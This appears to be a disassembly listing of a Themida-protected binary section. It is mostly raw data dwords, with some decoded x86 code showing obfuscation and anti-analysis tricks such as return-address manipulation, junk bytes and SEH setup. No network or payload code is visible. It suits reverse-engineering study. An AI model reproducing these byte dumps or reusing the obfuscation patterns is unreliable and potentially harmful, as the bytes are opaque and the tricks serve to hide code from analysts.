6121EEDh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E8408EC3h dd 6ACB113Dh, 0E5958900h, 89061212h, 1223ED95h, 89858D06h dd 6A0616BAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0AF62C356h, 773DDE33h, 286D9509h dd 0C0830612h, 0DFB70F05h, 11E85090h, 0F5000000h, 386BC764h dd 0BE49701Ah, 0B0416FC8h, 0A1EBA011h, 5F515250h, 5250310Fh dd 585A310Fh, 905B585Ah, 19D58D29h, 6A0612h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 7CC35747h, 6A055E29h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0FBA50BDDh, 0E9D2FD4Eh, 0Eh, 0F7161FC0h dd 0FE2BC48Bh, 3CC1B091h, 95FF2D42h, 6120DB5h, 8B66DA8Bh dd 28D8DFEh, 290615AFh, 122AE9B5h, 6AD1FF06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 1BF6C351h, 6DAEFE9Eh, 89E7ADFAh, 12303D95h, 0ADBD8306h dd 1061207h, 79850Fh, 12E90000h, 68000000h, 6A19F9E1h dd 0EFA0B5B8h, 0E74FB926h, 1AFCDF20h, 0A18D31ACh, 6A061217h dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 85958925h, 90061216h, 8E960h, 1F540000h dd 5601845Ah, 60609DD8h, 50616161h, 0AA0802BFh, 95019078h dd 61203D1h, 6A595FFh, 870F0612h, 0Bh, 5800Fh, 69BF0000h dd 0E93316A7h, 0E75h, 0E8h, 0ED815D00h, 616BA93h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E4C35343h, 0C59713C2h dd 0BD019DDBh, 61222E1h, 3462BB66h, 8D0Fh, 858D0000h, 6159437h dd 0E9525090h, 6, 41CDF0DCh, 310FA0E6h, 5ADF8B66h, 0C1BF5058h dd 907D81D7h, 68F0Fh, 8D890000h, 6121881h, 35FF64h, 0F000000h dd 688h, 719D2300h, 6406121Fh, 2589h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 8076D5C3h, 0ACA70A2Bh, 870F267Dh, 3, 0FFDFBF0Fh, 12067985h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0CDDD6622h, 0BE9616CCh, 11E860h, 0A63F0000h dd 407E56FFh, 0EEACA2F8h, 8C46B76Ah, 97BB25Eh, 122965B5h dd 6A615E06h, 11E9FFh, 0BCD60000h, 0F3A513D8h, 0DF672B9Bh dd 0CFF00E3Dh, 0FF840162h, 123119B5h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F78CB5ACh, 72EA5231h, 2CB595FFh, 2BE90612h, 8B000001h dd 121235BDh, 0F00B006h, 580h, 0F7816600h, 70E6E3D2h, 71E4F98Bh dd 8E9h, 0B378C900h, 94D32B87h, 0F613CE6h, 0FD83h, 0FEBF0F00h dd 66C8B60Fh, 6BAD88Bh, 60000000h, 8BCEB70Fh, 1228A19Dh dd 0C18B6106h, 12E9h, 67B7C100h, 4990AEEBh, 4A818E1Eh dd 359783CDh, 0C13F7C33h, 958904E8h, 6121159h, 31E2F766h dd 12208185h, 0FC82B06h, 884h, 9D8B5700h, 6122EFDh, 0F9D18B5Fh dd 0D9B70F60h, 29259D89h, 0E9610612h, 6, 11A19D8Bh, 858B0612h dd 6121265h, 15B5BD8Bh, 0C0830612h, 33CF8007h, 6600C083h dd 8989B3BFh, 1205AD95h, 0FD03B06h, 1883h, 0CE800h, 99970000h dd 0D55FEDDAh, 46955D69h, 0E95F1BF2h, 52h, 0C18D8BFCh dd 0E9061208h, 14h, 32A65852h, 516ED365h, 0CC906BFFh, 0F72F5DEBh dd 2E29EC5Ah, 0F01E183h, 2984h, 0F7816600h, 0A58308FEh dd 61208C1h, 0A5BD8BFEh, 89061204h, 12126595h, 68C0F06h dd 8B000000h, 120975BDh, 0E906h, 0B58D0000h, 6163123h dd 6AFD8Ah, 18999D0Bh, 7E90612h, 0C6000000h, 2B52F8D0h dd 95FFA6FCh, 61219CDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 2CC35545h, 64CA30B6h, 0F8627862h, 85FB9h dd 83FA8B00h, 8166FCE1h, 0FC9EB3DBh, 4EE6BF66h, 0B8D98B66h dd 0 dd 4880Fh, 0BF660000h, 0B5894E66h, 6120329h, 9529D22Bh dd 6120CB9h ; --------------------------------------------------------------------------- loc_592790: ; CODE XREF: Themida_:0059279Aj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_592790 ; --------------------------------------------------------------------------- dd 68A0Fh, 0BD8B0000h, 612064Dh, 153DBD89h, 880D0612h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0DB93C350h, 0DC9DDE13h, 599D89DCh dd 8B061204h, 1209A195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0A0789077h, 0FABF0F88h dd 5058D8Bh, 8B500612h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 21BD83D4h, 61221h, 48840Fh, 8B530000h dd 0B85FD9h, 0F000000h, 887h, 28D0F00h, 8A000000h, 0B58D8DDEh dd 6A06124Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 8FC5C357h, 0FEE006C8h, 0E1FF8E78h dd 5319D8Bh, 0BD830612h, 6121BD9h, 0A0840F00h, 6A000005h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 89C0C352h, 0CE1A36C7h, 18E1BD89h, 0BD830612h dd 6121BD9h, 87840F01h, 6A000005h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 10B2C350h dd 0BD83837Ah, 6121BD9h, 25860F03h, 60000005h, 0FFB8B66h dd 6061F8BFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0FEC35646h, 38716508h, 71BF2EB0h, 663C8C6Bh, 9D8BD98Ch dd 6121D91h, 6A04E180h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 7F41C350h, 57FF09CAh dd 2275B589h, 0A5F0612h, 8B840FC9h, 8B000001h, 121C199Dh dd 8D858B06h, 6A061230h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 130C357h, 8E9h, 9560EC00h dd 7575B66Bh, 65853372h, 0E9061231h, 0Ch, 85916D0Fh, 0FE7F950Ch dd 53C9BC9Dh, 0BE890h, 30400000h, 82FE2A54h, 0A5F1664Eh dd 4BBF6679h, 50505B43h, 7BB36052h, 7E9h, 6FD42900h, 27525CDDh dd 0E9310F61h, 8, 9A4050C7h, 3F7A9467h, 6A90585Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0F81CC350h, 9D8B40FEh, 6123001h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C53AC3h dd 0DBB70F51h, 159D8B57h, 5B061231h, 4E8h, 1F03FF00h, 52505300h dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 12E8505Fh dd 8A000000h, 0F00AFA78h, 92C12E0Bh, 0C58E9AA1h, 25CE921Ch dd 5B5F539Eh, 424448Bh, 48E0Fh, 0BB660000h, 8B3393h, 6E9h dd 0D2D47600h, 891515BDh, 0E9042444h, 11h, 3DC2B63Eh, 0E778DD73h dd 27168F73h, 35668A3Bh, 6A583Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0D984F2C3h, 7995FFD2h dd 0BB061223h, 5F315161h, 0C8128589h, 8C0F0615h, 6, 907ECB81h dd 9EE903C5h, 66000002h, 858BD98Bh, 615C80Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B8C35242h, 37823147h dd 6C65C5A1h, 1C5DBD8Bh, 13E80612h, 68000000h, 42815648h dd 1763400h, 40DABA50h, 1F129C44h, 0BF66CC08h, 0C75B4C80h dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 3598261Ch, 14AFCD3Eh, 0B58BCC10h dd 615C80Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2AC35747h, 9D00215Ah, 10B9D15Eh, 5800Fh, 3ABF0000h dd 8B527702h, 122AB985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0C7606EE0h, 60755817h dd 0FCEB70Fh, 68Ch, 0C98D2900h, 61061223h, 0BD890689h dd 6121321h, 308D858Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 5E2BE4C3h, 72B66097h dd 0D19D8B52h, 5B061221h, 4468961h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0A2C35646h, 0E6D27F99h, 96A9B5B3h dd 28E0FDFh, 0B7000000h, 8B6696DFh, 0CE850FEh, 8E000000h dd 92D253A8h, 0AB0F5514h, 0BBEE2329h, 1D5278E2h, 6A965Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0BBF2A6C3h, 400D5BC4h, 0C80AB5FFh, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 950FDFC3h, 93D2FA70h, 895009B5h, 123041BDh, 4E806h dd 3FF0000h, 8C0F001Fh, 13h, 0EE9h, 7D8BDE00h, 5F9F683Bh dd 55DA7197h, 50665275h, 277632BBh, 24448B1Ah, 0D98B6604h dd 4489008Bh, 8B660424h, 6A58DAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0C8C66AC3h, 6DA8B807h dd 8B676B44h, 1219E5BDh, 12858D06h, 6A0615C8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 95F9C355h, 6E9h, 7EEED800h, 89EAE3A8h, 122C399Dh, 830F9006h dd 0Bh, 70B35250h, 8B66310Fh, 50585AD8h, 90DA8B66h, 95FFD98Ah dd 6122379h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0D8C35545h, 0B852FFC2h, 0A254C84Dh, 8E96170h, 0F3000000h dd 0BAAE7559h, 0C73C8108h, 121BD985h, 306h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 324B2D08h, 65116F18h, 5416BF30h, 0BD836D25h, 615C812h dd 45840F00h, 8B000000h, 12004DBDh, 0F9BD8B06h, 0E906122Fh dd 4Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h dd 42C35343h, 6CB58C53h, 9C24BF66h, 0A19D0160h, 0F061222h dd 28Dh, 615A5300h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0ABCFC350h, 6AE1DB69h dd 68A0Fh, 0EB810000h, 7679EAB9h, 30259D8Bh, 6A0612h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 828D52C3h, 0EFBF5DFBh, 2DA22BFh, 6D8D295Bh, 83061201h dd 121BD9BDh, 850F0306h, 3EBh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 98C35141h, 0BD03DEB1h, 6120DADh dd 0C812BD83h, 0F000615h, 3BA84h, 0D1852900h, 0FF06120Eh dd 15C812B5h, 0ACBF6606h, 0A995FFBCh, 0F906121Ah, 0C806B58Bh dd 0E3800615h, 0D78166D9h, 6C728FBh, 10001h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 80C35747h, 38DEF44Eh dd 70894317h, 0AE8964Eh, 0D000000h, 3E61C90Ah, 50DC7141h dd 6850FCFh, 50000000h, 5A310F52h, 0B7505B58h, 0B5FF9675h dd 615C812h, 9B04F381h, 95FF68AAh, 6121C05h, 0B58BDE8Bh dd 615C806h dd 29D19D8Bh, 858B0612h, 61201A5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0D9C35242h, 86892378h, 0C4h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 5FC35141h dd 0F88A5B4Ah, 0A18D2960h, 60061228h, 0AE9h, 6B4E4100h dd 0AAE19B91h, 8B415BC8h, 121D6985h, 8B616106h, 1209A195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 8EDF2232h, 0ACABA4B0h, 6A04C283h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8157C352h, 9C5F91C7h, 2050896Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0B2C35242h, 0D86C2DFBh, 0BD8BA463h dd 6123139h, 5AF55260h, 0F58D8Bh, 8D610612h, 15DC6F85h dd 0B8868906h, 6A000000h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 898A305h, 9D893C4Fh dd 6121BD5h, 0C812B5FFh, 95FF0615h, 61206A5h, 3850Fh, 0C3800000h dd 52509681h, 0C8C0Fh, 7E90000h, 0DC000000h, 0AAADBh, 310FF52Ch dd 585A1EB7h, 0B3525050h, 5A310F4Dh, 0BF669658h, 8166574Fh dd 0FF2B03C7h, 15C812B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0E2495C22h dd 1799D89h, 95FF0612h, 6120281h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 1BC35242h, 0FD050B7Dh, 0EF816617h dd 0BD8356BEh, 6122A09h, 69840F00h, 0E8000000h, 0Bh, 59AA2891h dd 0EC0B9E1Eh, 0B17B308h, 1223DDBDh, 0B5895B06h, 61209F1h dd 0F525050h, 13E831h, 0FDAE0000h, 0FF30B172h, 6E3956F0h dd 51F13ADFh, 95B44418h, 8E0F57h, 5F000000h, 3489585Ah dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 85096329h, 6121495h, 0C812B5FFh, 0BB660615h dd 95FF2F3Bh, 61218C1h, 0AE8h, 69D01D00h, 54E9D842h, 0FDE525Dh dd 68Ah, 0E1BD8B00h, 5B061223h, 0C812B5FFh, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0E18A6CC3h, 0E8237E8Bh, 0Fh, 0F633C7FCh, 0A2160054h dd 0B7498BAAh, 0F587F5Fh, 0FF5FFEB7h, 121BA195h, 29BD8B06h dd 83061210h, 121EB1BDh, 840F0206h, 46h, 14D9BD8Bh, 8E90612h dd 0D6000000h, 41D68B99h, 8B82FB59h, 1203A585h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0B5896006h, 61216B1h, 6116DF80h, 0F0000C6h, 85C7FFBFh dd 6121B59h, 0 dd 6E860h, 83E00000h, 82940FF8h, 10E95Fh, 0B3BA0000h, 0AA32F49h dd 0E8A7160Fh, 0B784401Ah, 0E9614530h, 0FFFFF2CFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 34C35242h, 0F17A48Ch dd 0C18BFE8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 92C35646h, 0EBB860D9h, 8B77D699h, 1858DF9h, 6A06122Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E80EC351h, 0Bh, 0ECDC4D84h, 0F52700CBh dd 8BEA757Dh, 1229059Dh, 60905F06h, 0BCB96651h, 0BB665B4Dh dd 5061D6F4h, 0AE9h, 90EF3A00h, 0E384ACC0h, 9081E2E6h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0A1C35747h dd 89A6E2BDh, 122919B5h, 80006A06h, 6A91CFh, 7D953360h dd 2B06121Dh, 12211DB5h, 0FE96106h, 11000000h, 9580BCAh dd 7C13A17Dh, 9984321Fh, 858D7079h, 616CB51h, 48B0Fh, 0BF660000h dd 0C0837640h, 0DB53105h, 9006121Dh, 9E8h, 0AF2B2300h dd 276170E2h, 0BF579C5Ch, 58B217EDh, 0E8505B5Bh, 0Ch, 933C80D1h dd 17526C7Fh, 9DC7B63Dh, 0BE8h, 111D300h, 12B43B59h, 81B91087h dd 5B5FF98Bh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 550EC887h, 5263DE41h, 85895254h dd 6122BEDh, 8B006A5Bh, 6A006AFAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 4B2CC355h dd 0C54061F3h, 0E8B59FDEh, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah dd 188A0DD5h, 46FC4B57h, 7D1BD8Bh, 0FF5B0612h, 120DB595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 4CBF6623h, 28D8D5Ch, 530615AFh, 25D9D8Bh dd 0FF5F0612h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 4407D4C1h, 23F7845h, 0DBB70FF7h dd 7ADBD83h, 0F010612h, 7285h, 5E900h, 0C93D0000h, 6A34F992h dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 436C7ECAh, 55C17B0Ch, 0DF8B902Ah, 50605150h dd 5A310F52h, 905B6158h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 2EC35545h, 0A15BE87Eh, 0DA8B9B81h, 6A595FFh dd 0FC600612h, 126D8D89h, 0E9610612h, 0DE1h, 0E8h, 0ED815D00h dd 616CB5Bh, 565B529h, 23570612h, 121CB59Dh, 0BD8B5F06h dd 6120489h, 9437858Dh, 0F900615h, 28Ch, 50D88B00h, 4B39BF66h dd 13E990h, 62630000h, 3977ABCDh, 0DB0D0C1Dh, 0D8E2C7C5h dd 53F3FD09h, 35FF644Fh, 0 ; --------------------------------------------------------------------------- mov [ebp+6120C31h], eax mov large fs:0, esp mov bh, 0FDh inc dword ptr [ebp+6120679h] mov ebx, [ebp+612111Dh] push 0FFFFFFFFh push 0 push edi call sub_5935E8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5935E8 proc near ; CODE XREF: Themida_:005935E0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5935E8 endp ; --------------------------------------------------------------------------- popa ja short loc_59361A inc edi push cs cli ror byte ptr [ecx], 8Dh lodsd push ds adc al, [esi] push ecx cmc pop edi push dword ptr [ebp+6122A69h] call dword ptr [ebp+6122CB5h] jmp loc_593701 ; --------------------------------------------------------------------------- db 0B0h ; --------------------------------------------------------------------------- loc_59361A: ; CODE XREF: Themida_:005935F9j add [ebx-748F198Dh], dh mov ebp, 6122081h in al, 71h ; CMOS Memory mov di, 1123h cmp al, 61h jnb loc_593701 and ebx, [ebp+6122AC5h] movzx ecx, al pusha mov di, 0F1A9h movsx ebx, dx popa mov edi, [ebp+6120509h] mov edx, 6 mov ebx, [ebp+6122FF1h] mov eax, ecx movzx ebx, di shr eax, 4 mov ebx, [ebp+6120EEDh] mul dx adc ebx, 6558D609h sub ecx, eax mov ebx, [ebp+612311Dh] mov edx, ecx mov edi, 7489DF39h jmp loc_593701 ; --------------------------------------------------------------------------- jmp loc_59368E ; --------------------------------------------------------------------------- dw 0FA56h dd 9D3CCA78h db 0E2h, 0C6h ; --------------------------------------------------------------------------- loc_59368E: ; CODE XREF: Themida_:00593681j mov eax, [ebp+8] mov ebx, [ebp+6120585h] add eax, 7 or [ebp+6122D89h], edi add eax, 0 jbe loc_5936BD jmp loc_5936BD ; --------------------------------------------------------------------------- xchg eax, ecx das mov ebx, 3C2C1963h lahf retn ; --------------------------------------------------------------------------- dw 2F86h db 0E6h ; --------------------------------------------------------------------------- loc_5936BD: ; CODE XREF: Themida_:005936A6j ; Themida_:005936ACj cmp edx, eax jnb loc_5936D2 mov edi, esi jmp loc_593701 ; --------------------------------------------------------------------------- or [ebp+6121C55h], esi loc_5936D2: ; CODE XREF: Themida_:005936BFj mov ecx, [ebp-1] mov ebx, 3C9FF915h and ecx, 1 jz loc_593701 and dword ptr [ebp-1], 0FFFFFFFEh movsx edi, bx mov [ebp+8], edx xor ebx, 727A2E09h jmp $+5 loc_593701: ; CODE XREF: Themida_:00593614j ; Themida_:0059362Dj ... lea esi, [ebp+6164A0Bh] push 0 push edi call sub_593712 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593712 proc near ; CODE XREF: Themida_:0059370Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_593712 endp ; --------------------------------------------------------------------------- dw 171h dd 0F6BE0B9h, 487h, 61605000h, 0F006A5Fh, 95FFFFBFh, 61219CDh dd 34C1BD8Bh, 7DB90612h, 52000010h, 219D8B53h, 5B061215h dd 5185895Bh, 8306121Dh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 89C187C3h, 1201B19Dh dd 6AFC06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0FD8F20C3h, 3F26DD29h, 4830FE0h, 66000000h dd 2BE4A4BFh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0FB4D6C4h, 9DBD8B10h, 2B061209h dd 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0AD37696Fh, 0E8D1C233h, 0E983D003h, 89F47504h dd 12165995h, 0DDA8B06h, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0DAC35141h, 9D5E314Bh, 8BDF125Ch dd 1209A195h, 58D8B06h, 6A061205h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E90EC350h dd 0Bh, 55A7B98Eh, 0F6139330h, 8989F774h, 120095BDh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0BB58188Bh, 11C59610h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 26C35343h dd 4C1BEC0Ch, 9D8B76FAh, 6121B35h, 2121BD83h, 0F000612h dd 7584h, 27BB6600h, 0B887h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0BF9E6AC3h dd 2E8D46E6h, 0F70D853h, 181h, 0BD8BF500h, 6121F25h, 4DB58D8Dh dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 7B9926C3h, 6692881Ch, 0B482CB81h, 1115B529h dd 0E1FF0612h, 3FD9589h, 0BD830612h, 6121BD9h, 0B1840F00h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8383C350h, 121BD9BDh, 840F0106h dd 4A3h, 24582CBFh, 0D9BD837Dh, 306121Bh, 45B860Fh, 0BF660000h dd 0BD8B64B6h, 61230A9h, 50006A60h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 165E48E0h, 8BC82EE0h dd 1221C1BDh, 559D8B06h, 66061231h, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0CC78DCC3h dd 6E9D3h, 48D20000h, 194BE240h, 6A04E180h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0FD12C350h dd 0FC90ACEh, 18B84h, 28A0F00h, 8B000000h, 8D858BDFh, 6A061230h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 9FDAC355h, 0E8F0Fh, 9E90000h, 0C7000000h dd 701A386Bh, 6FC8BE49h, 0A264D781h, 85337393h, 6123165h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 18C35747h dd 0A36B90E0h, 8153FC66h, 62DAEFC3h, 0BF665018h, 4899F11h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 7FF99F72h, 46B74B72h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DCE44AC3h dd 261D9D0Bh, 0B4680612h, 508A01B5h, 0FFE8B52h, 28E0F31h dd 60000000h, 81585A61h, 4E4B2404h, 6A761Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E863C6C3h dd 6, 0B2CE69C4h, 10E9600Bh, 0A3000000h, 0DFB23A56h, 0BE261A9Eh dd 7CA9AB8Fh, 5B6515CDh, 1565BD8Bh, 0D98A0612h, 237995FFh dd 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 219E94C3h, 89A1999Ch, 15C81285h, 48C0F06h dd 60000000h, 0E9615F51h, 219h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 9EC35747h, 6840Fh, 8D890000h dd 6121545h, 0C80A858Bh, 12E90615h, 19000000h, 10E20F96h dd 0EADF9E0Ah, 6672709Dh, 869433EDh, 9D2B603Ah, 6121A39h dd 359D89h, 0C7610612h, 1800h, 5E900h, 0C38E0000h, 8BC9DE27h dd 15C80EB5h, 0DE8B6606h, 2AB9858Bh, 6A0612h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6EF3E2C3h dd 80B7D4B1h, 0B70FE4A2h, 8B0689FBh, 12037D9Dh, 8D858B06h dd 6A061230h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 52AAC355h, 0DA8DBAF5h, 8B507379h dd 1215599Dh, 0F605F06h, 0BD8BDAB7h, 61208BDh, 4468961h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E2C35646h dd 0F506096h, 87h, 50615A00h, 6688BB66h, 0A99D8B96h, 0FF061221h dd 15C80AB5h, 0F1BD8B06h, 0E806120Dh, 4, 1F03FFh, 10E9h dd 28B11A00h, 1985CCCAh, 160696AEh, 9BE51318h, 8B665095h dd 24448BF9h, 2800F04h, 0B7000000h, 0E9008B02h, 7, 8BC31278h dd 89737A60h, 60042444h, 9E8h, 94197B00h, 98FB9FA4h, 820FE9F0h dd 0 ; --------------------------------------------------------------------------- pop edi jg loc_593CE8 mov edi, 2430080Eh loc_593CE8: ; CODE XREF: Themida_:00593CDDj popa pop eax push 0 push eax call sub_593CF5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593CF5 proc near ; CODE XREF: Themida_:00593CEDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_593CF5 endp ; --------------------------------------------------------------------------- jz short near ptr loc_593D38+5 pop ecx push edx sbb byte ptr [edx+66h], 81h mov esp, 12858D92h enter 615h, 89h popf adc [edx], ebx adc al, [esi] push eax jnp loc_593D25 mov bl, 25h loc_593D25: ; CODE XREF: Themida_:00593D1Dj mov [esp], eax push 0 push edx call sub_593D33 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_593D33 proc near ; CODE XREF: Themida_:00593D2Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx loc_593D38: ; CODE XREF: Themida_:00593D05j add [esp-4+arg_4], 1Ch inc edx push edx retn sub_593D33 endp ; --------------------------------------------------------------------------- db 0E7h dd 3B2BEF9Bh, 0BEE73D4Eh, 237995FFh, 6A0612h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E6EBBFC3h dd 3557223Ah, 3DBD89F3h, 8B06121Eh, 1207A1BDh, 6A6106h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 723902C3h, 0DE9EBBB5h, 85C76036h, 6121BD9h, 3, 133DBD8Bh dd 0BD830612h, 615C812h, 0E840F00h, 80000000h, 21E923E7h dd 3000000h, 1215ED9Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 8820Fh, 8B530000h, 121F51BDh dd 0BD835F06h, 6121BD9h, 0DB850F03h, 6A000004h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 8F0FC356h, 